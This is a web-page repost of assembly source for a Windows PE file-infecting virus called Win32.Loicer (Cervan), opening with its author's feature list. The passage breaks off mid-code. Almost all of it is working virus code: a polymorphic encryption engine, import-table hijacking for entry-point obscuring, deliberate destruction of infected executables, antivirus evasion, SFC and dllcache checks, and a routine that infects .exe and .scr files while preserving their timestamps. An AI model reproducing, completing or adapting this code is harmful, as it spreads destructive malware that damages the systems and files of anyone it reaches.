Win32.Loicer, alias, Win32.Cervan

来源:互联网 发布:阿里云个人邮箱登陆 编辑:程序博客网 时间:2024/06/05 02:28
This is my biggest PE virus, it's about 3500 lines, the virus binarysize is more than 6K.Maybe this is my last virus. I've decided to exit from the VXer scene. It's a pity that there are too many bugs in it. There are two major bugsin the original version, one is the second threads can dead lock undersome certain condition, the other is I didn't use any SEH in it, so it willcrash when scanning some DOS executables. I've patched the second bugs inthis source code. This virus' main feature:1, Simple polymorphism engine. This engine is my first poly engine. It'svery simple, but seems this engine can make some AV software hang the OS.Some AV s/w's virtual machine can't run it correctly.2, Unrecoverable infection. After infection, the host PE file structure hasbeen destroyed and almost impossible to recovery.3, Full EPO. It doesn't modify the entry point. It uses a new infectionmethod. It removes the host file's import table and stored the import DLLsand APIs name in its own buffer. Then it builds a new import table which onlyimports LoadLibraryA and GetProcAddress, this two APIs are enough for it toimport all its and the host file's needed APIs. This is how it destroy thehost file. To implement EPO, it hook many APIs which imported by the hostfile.4, Both directly and indirectly infect. As I've said, it hooks many APIs(about 15 APIs with both ANSI and Unicode version), so it only infects whenthe hooked APIs are called. But when the infection is triggered, it willactive the second thread to do a short coninuous infection by searching thedirectory. To learn more about this virus, you can visit Symantec website and readthe write up about virus W32.Cervan. Bye, the virus world, bye, the Chinese VXer scene.You can contact me by mail vancheer@hotmail.com` .586.model flat include kernel32.incinclude user32.incinclude win32.incincludelib kernel32.libincludelib user32.lib DEBUG = 0 if DEBUG    addrGetLastError = 77e8668ch    addrOutputDebugStringA = 77ea0c93h     DEBUGBREAK equ int 3else    display 'Warning!!! This is release version!!!'endif MIN_SIZE_TO_INFECT equ (16*1024) SECTION_QUERY equ 0001hSECTION_MAP_WRITE equ 0002hSECTION_MAP_READ equ 0004hSECTION_MAP_EXECUTE equ 0008hSECTION_EXTEND_SIZE equ 0010h FILE_MAP_COPY equ SECTION_QUERYFILE_MAP_WRITE equ SECTION_MAP_WRITEFILE_MAP_READ equ SECTION_MAP_READ;FILE_MAP_ALL_ACCESS equ SECTION_ALL_ACCESS PAGE_NOACCESS equ 01hPAGE_READONLY equ 02hPAGE_READWRITE equ 04hPAGE_WRITECOPY equ 08hPAGE_EXECUTE equ 10hPAGE_EXECUTE_READ equ 20hPAGE_EXECUTE_READWRITE equ 40hPAGE_EXECUTE_WRITECOPY equ 80hPAGE_GUARD equ 100hPAGE_NOCACHE equ 200hPAGE_WRITECOMBINE equ 400h MEM_COMMIT equ 1000hMEM_RELEASE equ 8000h PTADD = 0PTSUB = 1PTROR = 2PTROL = 3PTXOR = 4PTBSWAP = 5 PTNONE = 38hPTNUM = 6 PolyUnit struc    PUType db ?    PUKey dd ?    db 3 dup(?) ;for alignPolyUnit ends PolyVar struc    PVReg db 8 dup(?)PolyVar ends FileMapper struct    FMBuffer dd ?    FMFileName dd ?    FMFileHandle dd ?    FMMapHandle dd ?    FMFileSize dd ?    FMFileAttr dd ?    FMFileTime dd 2*3 dup(?)     FMPEBase dd ?    FMCurPtr dd ?     FMImportAPINum dd ?     FMImportPA dd ?    FMImportThunkPA dd ?    FMImportStringPA dd ?FMDataStartPA equ FMImportStringPA    FMVirImportPA dd ?    FMVirStartPA dd ?    FMVirEntryPA dd ?    FMPolyPA dd ?     FMDataSize dd ? ;the size of can encrypt data     FMLoadLibraryAPA dd ?    FMGetProcAddressPA dd ?     FMPolyUnit PolyUnit 32 dup(<>)    FMPolyVar PolyVar <>FileMapper ends IMPORT_IS_ORD = 1IMPORT_IS_NAME = 2 VIR_IMPORT_SIZE = 95 DEFUNICODE macro sym,str&sym:    irpc c,str       dw '&c'    endm    dw 0endm .data    cap db 'Caption',0    msg db 'Message',0    fn db 'tfuck.exe',0    TmpBuffer db 3 dup(0)    TmpPolyVar db 8 dup(0)    TmpPolyUnit PolyUnit 500 dup(<>)    wildfn db 'd:/asm/mv/*.*',0        DEFUNICODE fnW,    DEFUNICODE wildfnW,        strKernel32 db 'kernel32.dll',0    strLoadLibraryA db 'LoadLibraryA',0    strGetProcAddress db 'GetProcAddress',0 .code VirStart:    cld     call ImportBuildIPImportBuildIP:    pop edx     cld    call GetVirAPIAddress     lea esi,[edx+VirStart-ImportBuildIP]    mov edi,VirVirtualSize    call VirAlloc    mov ecx,VirSize    xchg eax,edi    lea edx,[edi+ImportBuildIP-VirStart]    rep movsb    mov eax,edx    add eax,VirContinue-ImportBuildIP    jmp eax VirContinue:;Initialize some variant    xor ecx,ecx    mov [edx+CanSearchTick-ImportBuildIP],ecx    pushad     mov esi,edx     push ecx    push ecx    push ecx    push ecx    call [esi+addrCreateEventA-ImportBuildIP]    mov [esi+VirEventHandle-ImportBuildIP],eax     xor ecx,ecx    push eax    push esp    push ecx    push ecx    lea eax,[esi+SearchThread-ImportBuildIP]    push eax    push ecx    push ecx    call [esi+addrCreateThread-ImportBuildIP]    pop eax     popad     mov esi,12345678h ;Redirected import table offsetRVAImportString equ $-4 ;Decrypt import string    push esi    mov edi,esi    mov ecx,12345678hDecryptImportCount equ $-4 DecryptImportLoop:    lodsb    xor al,0DecryptImportXorKey equ $-1    ror al,0DecryptImportRorKey equ $-1    stosb    loop DecryptImportLoopDecryptImportEnd:    pop esi     mov eax,[esp+9*4] ;API ordinal    push eax    push large ecx ;API count=0    mov ebp,esp     mov edi,87654321 ;Import table addressRVAImportPA equ $-4     lea ebx,[edx+ImportBuildCallback-ImportBuildIP]    sub edi,4ImportBuildLoop:    add edi,4    push edi    mov edi,[edi]    call VirGetAddress    pop edi    cmp byte ptr [esi],0    jnz short ImportBuildLoop     pop eax    pop eax    mov [esp+9*4],eax     popfd    popad    retnImportBuild_end:  ImportBuildCallback:    push ecx    push edi    pushfd     or eax,eax    jz short ImportBuildCallbackNotHook    call ImportBuildCallbackIPImportBuildCallbackIP:    pop edx     std    lea edi,[edx+HookAPITable+HookNum*4-4-ImportBuildCallbackIP]    push large HookNum    pop ecx    repnz scasd    jnz short ImportBuildCallbackNotHook    lea edi,[edx+ecx*2+HookProcTable-ImportBuildCallbackIP]    movzx eax,word ptr [edi]    lea edi,[edx+VirStart-ImportBuildCallbackIP]    add eax,edi ImportBuildCallbackNotHook:    mov edx,[ebp]    cmp edx,[ebp+4]    jnz short ImportBuildCallback1    mov [ebp+4],eaxImportBuildCallback1:    inc dword ptr [ebp]     popfd    pop edi    pop ecx    retnImportBuildCallback_end: ;Get the API address used by vir;Param: edx=>ImportBuildIPGetVirAPIAddress:    pushad     xor ebx,ebx     lea esi,[edx+Kernel32APIName-ImportBuildIP]    lea edi,[edx+Kernel32APIAddr-ImportBuildIP]    call VirGetAddress     lea esi,[edx+Shell32APIName-ImportBuildIP]    lea edi,[edx+Shell32APIAddr-ImportBuildIP]    call VirGetAddress     lea esi,[edx+SfcAPIName-ImportBuildIP]    lea edi,[edx+SfcAPIAddr-ImportBuildIP]    call VirGetAddress     lea esi,[edx+ComDlg32APIName-ImportBuildIP]    lea edi,[edx+ComDlg32APIAddr-ImportBuildIP]    call VirGetAddress     lea esi,[edx+User32APIName-ImportBuildIP]    lea edi,[edx+User32APIAddr-ImportBuildIP]    call VirGetAddress     popad    retnGetVirAPIAddress_end: ;Redirected import table;db kernel32.dll;db 1,db CreateFileA;db 2 dw hint;db WriteFile;db 0;db user32.dll;........;db 0;db 0 ;Load DLL and get all api address;Param: esi->DLL name,edi->address,ebx->call back function,ebp=param for the callback;Return: esi->after null byte;Callback param: eax=API address,ebp=user defined param,edi->address API to store to;Callback return: eax=API address to storeVirGetAddress:    push edx     mov edx,12345678h ;RVA of LoadLibraryARVALoadLibraryA equ $-4     mov eax,esi    call VirGetStrTail    xchg eax,esi     push dword ptr [eax]    push eax     mov byte ptr [eax],0     push esi    call [edx]    mov ecx,eax     pop eax    pop dword ptr [eax]    xchg esi,eaxVirGetAddressLoop:    lodsb    or al,al    jz short VirGetAddressRet     push ebp    push ecx     cmp al,IMPORT_IS_NAME    jz short VirGetAddressIsName    xor eax,eax    lodsw    mov ebp,[esi]    push esi    push eax    jmp short VirGetAddress1VirGetAddressIsName:    push esi    call VirGetStrTail    mov ebp,[esi]    mov byte ptr [esi],0    xchg esi,[esp]    push esiVirGetAddress1:    push ecx    mov edx,55667788h; RVA of GetProcAddressRVAGetProcAddress equ $-4    call [edx]     pop esi    mov [esi],ebp    pop ecx    pop ebp     or ebx,ebx    jz short VirGetAddressNoCallback    call ebxVirGetAddressNoCallback:     stosd    jmp short VirGetAddressLoop VirGetAddressRet:    pop edx     retn   VirGetAddress_end: ;Find the first byte which is less than 6;Param: esi->string;Return: esi->strange byteVirGetStrTail:    dec esiVirGetStrTailLoop:    inc esi    cmp byte ptr [esi],5    ja short VirGetStrTailLoop    retnVirGetStrTail_end: ;Infect a file;Param: edi->FileNameInfectFile:    pushad    call InfectFileIPInfectFileIP:    pop ebp     cld     or edi,edi    jz InfectFileRet     mov esi,edi    call VirGetStrTail if DEBUGmov eax,[esi-8]call EAXToLowcasecmp eax,'kcuf' ;if debuging,only infect *fuck.exejnz InfectFileRetendif     mov eax,[esi-4]    call EAXToLowcase    cmp eax,'exe.'    jz short InfectFileStart    cmp eax,'rcs.'    jnz InfectFileRet  InfectFileStart:    call IsInDllCache    jnz InfectFileRet ;Check for SFC    mov ecx,[ebp+addrSfcIsFileProtected-InfectFileIP]    jecxz CheckSFCEnd ;is not Win2K,don't check SFC    mov esi,1000    sub esp,esi     mov eax,esp    push ecx     push large 500    push eax    push large -1    push edi    push large 1 ;MB_PRECOMPOSED    push large 0 ;CP_ACP    call [ebp+addrMultiByteToWideChar-InfectFileIP]     pop ecx    push esp    push large 0    call ecx     add esp,esi     or eax,eax    jnz InfectFileRetCheckSFCEnd:     sub esp,size FileMapper    mov esi,esp    call MapFile    jz InfectFileFailMap    push esi     push ebp    lea ecx,[ebp+InfectFileSEH-InfectFileIP]    push ecx    xor ecx,ecx    push dword ptr fs:[ecx]    mov fs:[ecx],esp     mov [ebp+InfectFileESP-InfectFileIP],esp     cmp [esi].FMFileSize,16*1024 ;only infect files size bigger than 16K    jc InfectFileUnmap     mov ebx,eax    call CheckPE    jz InfectFileUnmap    mov [esi].FMPEBase,eax ;Check whether it's a WinZip Self-Extractor file    movzx edx,word ptr [eax+14h]    mov edx,[eax+edx+18h+14h+28h] ;ebx->the second section's PointerToRawData    add edx,ebx    cmp dword ptr [edx+10h],'ZniW'    jnz NotWinzip    cmp word ptr [edx+10h+4],'pi'    jz InfectFileUnmapNotWinzip: ;Check whether the file is a SFX(RAR file)    xor edi,edi    call get_section_of_rva    mov ecx,[edx+0ch]    add ecx,[edx+8]    mov edx,ecx    shr ecx,3    add ecx,edx    cmp ecx,[esi].FMFileSize    jna InfectFileUnmap    add edx,ebx ;now ecx->perhaps rar file header    cmp dword ptr [edx],21726152h ;test for rar signature    jz InfectFileUnmap     mov edi,[eax+80h] ;Import Table RVA    call get_section_of_rva    jz InfectFileUnmap ;No import table    or byte ptr [edx+1ch+3],80h ;modify raw import section as writable     call RVAToPA    add edi,ebx ;Check infected.If there is only one DLL loaded,it's infected.    cmp dword ptr [edi+3*4],0    jz InfectFileUnmap ;has no import table    cmp dword ptr [edi+3*4+5*4],0 ;next dll name    jz InfectFileUnmap ;hasn't second dll,maybe infected     add ebx,[esi].FMFileSize    mov [esi].FMCurPtr,ebx     push edi    push eax    lea edi,[eax+0d0h]    lea ecx,[eax+0a0h]    xor eax,eax    stosd ;Clear import bind entry    stosd    stosd ;Clear Import Address Table entry    stosd    xchg ecx,edi    stosd ;Clear relocation    stosd    pop eax    pop edi     call RedirectImpoartTable    mov ebx,[esi].FMCurPtr     call BuildVirImportTable    mov ebx,[esi].FMCurPtr     mov edi,ebx    call PolyGenGarbageBuffer ;insert some garbage code     push eax    mov [esi].FMVirEntryPA,edi     mov ax,9c60h ;pushad/pushfd    stosw     add edi,10 ; space for two mov reg32,imm32,must be 10 bytes     pop eax     mov [esi].FMPolyPA,edi    push ebp    push esi    push eax     call VirGetRand    xchg eax,edx    and dl,1    add dl,6 ;use esi or edi as pointer reg    and dh,3 ;use common reg as counter    lea ebp,[esi].FMPolyVar    lea esi,[esi].FMPolyUnit    call VirPoly     pop eax    pop esi    pop ebp     mov [esi].FMVirStartPA,edi    push esi    lea esi,[ebp+VirStart-InfectFileIP]    mov ecx,VirSize    rep movsb    pop esi     call PolyGenGarbageBuffer ;insert some garbage code     mov [esi].FMCurPtr,edi ;Initialize some variant    pushad    mov ecx,[esi].FMVirStartPA     mov edi,[esi].FMLoadLibraryAPA    call RealPAToRVA    mov [ecx+RVALoadLibraryA-VirStart],edi     mov edi,[esi].FMGetProcAddressPA    call RealPAToRVA    mov [ecx+RVAGetProcAddress-VirStart],edi     mov edi,[esi].FMImportPA    call RealPAToRVA    mov [ecx+RVAImportPA-VirStart],edi     mov edi,[esi].FMImportStringPA    push edi    call RealPAToRVA    mov [ecx+RVAImportString-VirStart],edi    pop edi ;Encrypt import string    pushad    mov edx,[esi].FMDataSize    mov [ecx+DecryptImportCount-VirStart],edx    call VirGetRand    mov [ecx+DecryptImportRorKey-VirStart],al    mov [ecx+DecryptImportXorKey-VirStart],ah    mov cl,al    mov esi,ediEncryptImportLoop:    lodsb    rol al,cl    xor al,ah    stosb    dec edx    jnz short EncryptImportLoop    popad     mov edi,ecx    call RealPAToRVA    mov ecx,[esi].FMVirEntryPA    mov al,0b8h    or al,dl    mov [ecx+2],al    mov [ecx+3],edi ;Encrypt virus body    mov ebx,ecx    mov edi,[esi].FMVirStartPA    lea esi,[esi].FMPolyUnit    mov ecx,VirSize    call VirEncrypt     mov al,0b8h    or al,dh    mov [ebx+7],al    mov [ebx+8],ecx     popad     call FillThunkCode ;Save vir import entry    mov edi,[esi].FMVirImportPA    sub edi,[esi].FMBuffer    call PAToRVA    mov [eax+80h],edi    push large VIR_IMPORT_SIZE    pop dword ptr [eax+84h] ;Enlarge the file    xor edi,edi    call get_section_of_rva    mov ecx,[esi].FMCurPtr    sub ecx,[esi].FMBuffer    sub ecx,[edx+0ch]    call RouncECX    cmp ecx,[edx]    jc short InfectFileRound1    mov [edx],ecxInfectFileRound1:    cmp ecx,[edx+8]    jc short InfectFileRound2    mov [edx+8],ecxInfectFileRound2:    mov ecx,[edx+0ch]    add ecx,[edx+8]    mov [esi].FMFileSize,ecx     push ecx     mov ecx,[edx]    add ecx,[edx+4]    call RouncECX    mov [eax+50h],ecx ;SizeOfImage     or dword ptr [edx+1ch],60000020h or 40000040h or 80000000h ;Calc eheck sum    pop ecx    lea ebx,[eax+58h] ;CheckSum    xor edx,edx    cmp dword ptr [ebx],edx    jz short NoChecksum    mov dword ptr [ebx],edx    mov esi,[esi].FMBuffer    push ecx    shr ecx,1    clcChecksumLoop:    lodsw    adc dx,ax    loop ChecksumLoop    pop ecx    add edx,ecx    mov [ebx],edx NoChecksum: InfectFileUnmap:    mov esp,12345678hInfectFileESP equ $-4    xor ecx,ecx    pop dword ptr fs:[ecx]  ; restore except chain    pop ecx    pop ecx     pop esi    call UnmapFile InfectFileFailMap:    add esp,size FileMapper InfectFileRet:    popad    retnInfectFile_end:  InfectFileSEH:    call InfectFileSEHIPInfectFileSEHIP:    pop eax     lea eax,[eax+InfectFileUnmap-InfectFileSEHIP]    push eax    mov eax,[esp + 0ch+4]    pop dword ptr [eax + 0B8h]    xor eax,eax    retnInfectFileSEH_end:  RealPAToRVA:    sub edi,[esi].FMBuffer    call PAToRVA    add edi,[eax+34h] ;ImageBase    retnRealPAToRVA_end:  ;Round ecx to 1000hRouncECX:    test cx,0fffh    jz short RouncECX1    and cx,0f000h    add ecx,1000hRouncECX1:    retnRouncECX_end:  ;Fill the raw import table to our entry;Param: eax->PE base,esi->FilaMapperFillThunkCode:    pushad     mov ecx,[esi].FMImportAPINum    mov edi,[esi].FMVirEntryPA    sub edi,[esi].FMBuffer    call PAToRVA    mov edx,edi    mov edi,[esi].FMImportThunkPA    mov ebx,edi    sub edi,[esi].FMBuffer    call PAToRVA    sub edx,edi FillThunkCodeLoop:    sub edx,1+4+1+4    mov byte ptr [ebx+1+4],0e9h    mov [ebx+1+4+1],edx    add ebx,1+4+1+4    loop FillThunkCodeLoop     popad    retnFillThunkCode_end: ;Param: esi->FileMapper,eax->PE base,DF=0BuildVirImportTable:    pushad    call BuildVirImportTableIPBuildVirImportTableIP:    pop ebp     xor edi,edi    call get_section_of_rva    mov ecx,edx    mov edi,[eax+28h]    call get_section_of_rva     push eax     cmp edx,ecx    jnc BuildVirImportTableNoCavPop ;is the last section     lea eax,[edx+8]    mov ebx,[eax]    cmp ebx,[edx]    jc short BuildVirImportTableFindCav2    mov ebx,[edx]    mov eax,edxBuildVirImportTableFindCav2:    or ebx,ebx    jz BuildVirImportTableNoCavPop ;the minor size is zero,don't use it     mov edi,[edx+28h+0ch] ;next section's PointerToRawData    add ebx,[edx+0ch]    sub edi,ebx    cmp edi,VIR_IMPORT_SIZE+10    jle short BuildVirImportTableNoCavPop    mov edi,ebx    add edi,[esi].FMBuffer    add dword ptr [eax],VIR_IMPORT_SIZE+10 ;enlarge raw data size    or dword ptr [edx+1ch],60000020h or 40000040h or 80000000h    and dword ptr [edx+1ch],not 02020000 ;remove discardable Characteristics    jmp short BuildVirImportTableBeginBuild BuildVirImportTableNoCavPop:    mov edi,[esi].FMCurPtr BuildVirImportTableBeginBuild:    pop eax      mov [esi].FMVirImportPA,edi    push eax    xor eax,eax    push large 5*2+3    pop ecx    rep stosd    pop eax     push edi    push esi    push large VirImportTableStringSize    pop ecx    lea esi,[ebp+VirImportTable-BuildVirImportTableIP]    rep movsb    pop esi     cmp edi,[esi].FMCurPtr    jb short BuildVirImportTableInner    mov [esi].FMCurPtr,ediBuildVirImportTableInner:    pop edi     lea edx,[edi-3*4-5*4-2*4] ;->DLL name RVA    sub edi,[esi].FMBuffer    call PAToRVA    mov [edx],edi    sub edi,3*4    mov [edx+4],edi    add edx,5*4+2*4    add edi,3*4+12    mov [edx],edi    mov [esi].FMLoadLibraryAPA,edx    add edi,14    add edx,4    mov [edx],edi    mov [esi].FMGetProcAddressPA,edx    popad    retnBuildVirImportTable_end: comment $Redirect Import Table formatdb 'kernel32.dll'db IMPORT_IS_NAME,'CreateFileA'db IMPORT_IS_ORD,1,2db IMP...db 0next dlldb 0 Import Thunk Code formatpush large ordinaljmp vircode$;Param: edi->Raw import table,esi->FileMapper,eax->PE base,DF=0RedirectImpoartTable:    pushad    mov ebx,[esi].FMCurPtr    mov [esi].FMImportStringPA,ebx     push edi    push eax     mov edx,edi    sub edx,5*4 RedirectImpoartTableLoop:    add edx,5*4    mov edi,[edx+4*3] ;edi->DLL name RVA    or edi,edi    jz short RedirectImpoartTableThunk    mov eax,[esi].FMPEBase    call RVAToPA    mov ecx,[esi].FMBuffer    add edi,ecx    push eax;Copy DLL nameRedirectImpoartTable1:    mov al,[edi]    mov [ebx],al    mov byte ptr [edi],0 ;trash the DLL name    inc edi    inc ebx    or al,al    jnz short RedirectImpoartTable1     dec ebx ;no tail null byte ;Some APPs' FirstThunk not point to vaild address;so we must use Characteristics at first    mov edi,[edx] ;edi->DLL Characteristics    or edi,edi    jnz short RedirectImpoartTableUseDLLChar    mov edi,[edx+4*4] ;edi->FirstThunk RVARedirectImpoartTableUseDLLChar:    pop eax    call RVAToPA    add edi,ecx    sub edi,4 RedirectImpoartTableAPILoop:    add edi,4    mov ecx,[edi]    mov byte ptr [ebx],0    inc ebx    jecxz RedirectImpoartTableLoop    dec ebx    test ecx,80000000h    jnz short RedirectImpoartTableIsOrd    xchg ecx,edi    call RVAToPA    xchg ecx,edi    add ecx,[esi].FMBuffer    inc ecx    inc ecx ;Skip ordinal    mov byte ptr [ebx],IMPORT_IS_NAME    inc ebx;Copy API nameRedirectImpoartTable2:    push eax    mov al,[ecx]    mov [ebx],al    mov byte ptr [ecx],0 ;trash API name    inc ebx    inc ecx    or al,al    pop eax    jnz short RedirectImpoartTable2     dec ebx ;no tail null byte     jmp short RedirectImpoartTableAPILoopRedirectImpoartTableIsOrd:    mov byte ptr [ebx],IMPORT_IS_ORD    inc ebx    mov word ptr [ebx],cx    inc ebx    inc ebx    jmp short RedirectImpoartTableAPILoop ;Generate thunk codeRedirectImpoartTableThunk:    mov eax,ebx    sub eax,[esi].FMImportStringPA    mov [esi].FMDataSize,eax     mov byte ptr [ebx],0 ;import table tail null byte    inc ebx     mov dword ptr [esi].FMImportAPINum,0    pop eax ;PE base    pop edx ;Import table     mov [esi].FMImportThunkPA,ebx    push edx    push eax    sub edx,4*5RedirectImpoartTableThunkLoop:    add edx,4*5    cmp dword ptr [edx+3*4],0    jz short RedirectImpoartTableTrash     mov edi,[edx+4*4]     call RVAToPA    add edi,[esi].FMBuffer    sub edi,4RedirectImpoartTableThunkAPILoop:    add edi,4    mov ecx,edi    cmp dword ptr [ecx],0    jz short RedirectImpoartTableThunkLoop    push edi    mov edi,ebx    sub edi,[esi].FMBuffer    call PAToRVA    add edi,[eax+34h] ;ImageBase    mov [ecx],edi ;Redirect import address to our thunk code    pop edi     mov byte ptr [ebx],68h ;push imm32    inc ebx    push dword ptr [esi].FMImportAPINum    pop dword ptr [ebx]    inc dword ptr [esi].FMImportAPINum    add ebx,4+1+4    jmp short RedirectImpoartTableThunkAPILoop ;Trash import table structure,build the DLL APIs tableRedirectImpoartTableTrash:    pop edx    pop edi    mov [esi].FMImportPA,ebx    xor eax,eax RedirectImpoartTableTrashLoop:    mov [ebx],eax    cmp dword ptr [edi+3*4],0    jz short RedirectImpoartTableRet    mov ecx,[edi+4*4]    add ecx,[edx+34h] ;ImageBase    mov [ebx],ecx     push large 5    pop ecx    rep stosd ;trash import table structure    add ebx,4    jmp short RedirectImpoartTableTrashLoop RedirectImpoartTableRet:    mov [esi].FMCurPtr,ebx    popad    retnRedirectImpoartTable_end: ;Param: edi=size in byte to alloc;Return: eax->BufferVirAlloc:    pushad    call VirAllocIPVirAllocIP:    pop ebp    push large PAGE_EXECUTE_READWRITE    push large MEM_COMMIT    push edi    push large 0    call [ebp+addrVirtualAlloc-VirAllocIP]    call SetMemZero    mov [esp+7*4],eax    popad    retnVirAlloc_end: ;Param: eax->Buffer,edi=size in byte to alloc,DF=0SetMemZero:    pushad    mov ecx,edi    mov edi,eax    xor eax,eax    rep stosb    popad    retnSetMemZero_end: ;Parem: ebx->image base;Return: ZF not set,is valid PE,ZF set,invalid,eax->PE baseCheckPE:    push ecx    xor ecx,ecx    cmp word ptr [ebx],'ZM'    jnz short CheckPERet    mov eax,[ebx+3ch]    cmp eax,4*1024    ja short CheckPERet    add eax,ebx    cmp word ptr [eax],'EP'    jnz short CheckPERet    test byte ptr [eax+16h+1],20h ;Is a DLL?    jnz short CheckPERet    mov dl,[eax+5ch] ;Subsystem    and dl,0feh    cmp dl,2    jnz short CheckPERet    inc ecxCheckPERet:    or ecx,ecx    pop ecx    retnCheckPE_end: ;Get the section of a RVA;in--eax=PE base,edi=RVA to find;out--edx->section header.VirtualSize,ecx=0 means not found;if not found,edx=>last section header.VirtualSizeget_section_of_rva:    push esi    push ecx    movzx edx,word ptr [eax+14h]    lea edx,[eax+edx+18h+8-28h] ;->before first section header.VirtualSize    movzx ecx,word ptr [eax+6]    inc ecxget_section_of_rva_1:    dec ecx    jecxz get_section_of_rva_2    add edx,28h ;->VirtualSize    mov esi,[edx+4]; esi=VirtualAddress    cmp edi,esi ;RVAbefore first section header.VirtualSize    movzx ecx,word ptr [eax+6]    inc ecxPAToRVA_1:    dec ecx    jecxz PAToRVA_2    add edx,28h    cmp edi,[edx+28h+0ch];next section PointerToRawData    jnb short PAToRVA_1PAToRVA_2:    sub edi,[edx+0ch]    add edi,[edx+4]    pop edx    pop ecx    retnPAToRVA_end:  ;Create a file mapping;Param: esi->FileMapper edi->FileNameMapFile:    push ebp    push ebx     call MapFileIPMapFileIP:    pop ebp     push large (size FileMapper) - 1    pop ecx    xor eax,eaxMapFileInit:    mov byte ptr [esi+ecx],al    loop MapFileInit    mov dword ptr [esi],eax     mov [esi].FMFileName,edi     push edi    call [ebp+addrGetFileAttributesA-MapFileIP]    mov [esi].FMFileAttr,eax     and eax,not FILE_ATTRIBUTE_READONLY    push eax    push edi    call [ebp+addrSetFileAttributesA-MapFileIP]     push large 0    push large FILE_ATTRIBUTE_ARCHIVE or FILE_ATTRIBUTE_HIDDEN    push large OPEN_EXISTING    push large 0    push large FILE_SHARE_READ    push large GENERIC_WRITE or GENERIC_READ    push edi    call [ebp+addrCreateFileA-MapFileIP]    inc eax    jz short MapFileRet    mov [esi].FMFileHandle,eax     dec eax     lea ebx,[esi].FMFileTime    push ebx ;ebx->file last write time    add ebx,8    push ebx    add ebx,8    push ebx    push eax    call [ebp+addrGetFileTime-MapFileIP]     push ecx    push esp ;->file size high    push [esi].FMFileHandle    call [ebp+addrGetFileSize-MapFileIP]    pop ecx    inc eax    jz MapFileRet    dec eax    or ecx,ecx    jnz MapFileRet    mov [esi].FMFileSize,eax     xchg eax,ebx     add ebx,256*1024 ; 256K buffer    xor edx,edx    push edx    push ebx    push edx    push large PAGE_READWRITE    push edx    push [esi].FMFileHandle    call [ebp+addrCreateFileMappingA-MapFileIP]     or eax,eax    jz MapFileRet    mov [esi].FMMapHandle,eax     push ebx    push large 0    push large 0    push large FILE_MAP_WRITE    push eax    call [ebp+addrMapViewOfFile-MapFileIP]    mov [esi].FMBuffer,eax MapFileRet:    pop ebx    pop ebp    mov eax,[esi].FMBuffer    or eax,eax    retMapFile_end: ;Unmap a file mapping;Param: esi->FileMapperUnmapFile:    pushad    call UnmapFileIPUnmapFileIP:    pop ebp    push [esi].FMBuffer    call [ebp+addrUnmapViewOfFile-UnmapFileIP]     push [esi].FMMapHandle    call [ebp+addrCloseHandle-UnmapFileIP]     push large 0    push large 0    push [esi].FMFileSize    push [esi].FMFileHandle    call [ebp+addrSetFilePointer-UnmapFileIP]     mov edi,[esi].FMFileHandle    push edi    call [ebp+addrSetEndOfFile-UnmapFileIP]     lea ebx,[esi].FMFileTime    push ebx    add ebx,8    push ebx    add ebx,8    push ebx    push edi    call [ebp+addrSetFileTime-UnmapFileIP]     push edi    call [ebp+addrCloseHandle-UnmapFileIP]     push [esi].FMFileAttr    push [esi].FMFileName    call [ebp+addrSetFileAttributesA-UnmapFileIP]     popad    retnUnmapFile_end:  EAXToLowcase:    push ecx    push large 4    pop ecxEAXToLowcase_0:    cmp al,'A'    jc EAXToLowcase_1    cmp al,'Z'    ja EAXToLowcase_1    add al,'a'-'A'EAXToLowcase_1:    ror eax,8    loop EAXToLowcase_0    pop ecx    retnEAXToLowcase_end:  ;Check whether the path include 'tem32/dllcach'('system32/dllcache');Param: edi->full path file name,esi->tail of file name;Return: ZF=0 means is,ZF=1 means notIsInDllCache:    pushad     xor ebx,ebx    xchg esi,ediIsInDllCacheLoop:    push esi    lodsd    call EAXToLowcase    cmp eax,'3met'    jnz short IsInDllCacheNext    lodsd    call EAXToLowcase    cmp eax,'ld/2'    jnz short IsInDllCacheNext    lodsd    call EAXToLowcase    cmp eax,'cacl'    jnz short IsInDllCacheNext    inc ebx    jmp short IsInDllCacheRetIsInDllCacheNext:    pop esi    inc esi    lea eax,[esi+10]    cmp eax,edi    jc short IsInDllCacheLoop    push esiIsInDllCacheRet:    pop esi    or ebx,ebx    popad    retnIsInDllCache_end: db 'Win32 Loicer by Vancheer/CVC,made in China,2002' ;Param: esi->PolyUnit,edi->buffer to encrypt,ecx=buffer size;Return: ecx=rounded sizeVirEncrypt:    call VirGetEncryptSize     pushad     mov ebp,esi;We must reverse the decrypt order generated by the poly engineVirEncryptReverseLoop:    cmp [esi].PUType,PTNONE    jz short VirEncryptBegin    add esi,size PolyUnit    jmp short VirEncryptReverseLoop VirEncryptBegin:VirEncryptDataLoop:    mov ebx,[edi+ecx]    push esi VirEncryptTypeLoop:    sub esi,size PolyUnit    mov al,[esi].PUType    mov edx,[esi].PUKey     cmp al,PTXOR    jnz short VirEncrypt_1    xor ebx,edx    jmp short VirEncryptNextTypeVirEncrypt_1:     cmp al,PTADD    jnz short VirEncrypt_2    sub ebx,edx    jmp short VirEncryptNextTypeVirEncrypt_2:     cmp al,PTSUB    jnz short VirEncrypt_3    add ebx,edx    jmp short VirEncryptNextTypeVirEncrypt_3:     cmp al,PTROR    jnz short VirEncrypt_4    push ecx    mov cl,dl    rol ebx,cl    pop ecx    jmp short VirEncryptNextTypeVirEncrypt_4:     cmp al,PTROL    jnz short VirEncrypt_5    push ecx    mov cl,dl    ror ebx,cl    pop ecx    jmp short VirEncryptNextTypeVirEncrypt_5:     bswap ebx VirEncryptNextType:    cmp esi,ebp    jnz short VirEncryptTypeLoop VirEncryptNextData:    pop esi    mov [edi+ecx],ebx    sub ecx,4    jge VirEncryptDataLoop     popad    retnVirEncrypt_end:  ;Param: ecx=buffer size;Return: ecx=rounded buffer sizeVirGetEncryptSize:    and cl,0fch ;round to 4    sub ecx,4    retnVirGetEncryptSize_end:  ;Param: esi->PolyUnit,edi->poly output buffer,ebp->PolyVar;   dl=reg for pointer(not ebp,esp),dh=reg for count,the count must be dividable by 4VirPoly:    pushad     call VirGetRand    movzx ecx,al    and cl,0fh    add cl,08h ;15-23 layers poly     push ecx     mov al,PTNONE VirPolyLoop:    call PolyInitVar ;don't generate code before PolyInitVar     call PolyGenGarbage     push eax    call VirPolyHelp ;mov a dword to a random reg    pop eax     push ecx    push edx ;save two reg     push eax    call VirGetRand    mov [esi].PUKey,eax    xchg edx,eax    pop eax     call PolyGetType    mov [esi].PUType,al    add esi,size PolyUnit    mov [esi].PUType,PTNONE     xchg edx,[esp]    call PolyGenGarbage    xchg edx,[esp]     cmp al,PTXOR    jnz short VirPoly_2;Method XOR    call PolyXorReg32Imm    jmp short 